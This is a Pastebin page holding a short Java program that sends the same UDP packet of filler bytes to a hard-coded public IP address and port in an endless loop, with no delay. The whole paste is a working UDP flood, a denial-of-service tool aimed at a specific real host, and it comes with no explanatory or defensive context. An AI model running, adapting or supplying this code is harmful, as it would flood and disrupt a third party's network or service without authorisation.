Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.*;
- import java.net.*;
- public class B {
- public static void main(String args[]) {
- try {
- String host = "72.251.172.216";
- int port = 32352;
- byte[] message = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".getBytes();
- // Get the internet address of the specified host
- InetAddress address = InetAddress.getByName(host);
- // Initialize a datagram packet with data and address
- DatagramPacket packet = new DatagramPacket(message, message.length,
- address, port);
- DatagramSocket socket = new DatagramSocket();
- while(true) {
- // Create a datagram socket, send the packet through it, close it.
- socket.send(packet);
- }
- //dsocket.close();
- } catch (Exception e) {
- System.err.println(e);
- }
- }
- }
Add Comment
Please, Sign In to add comment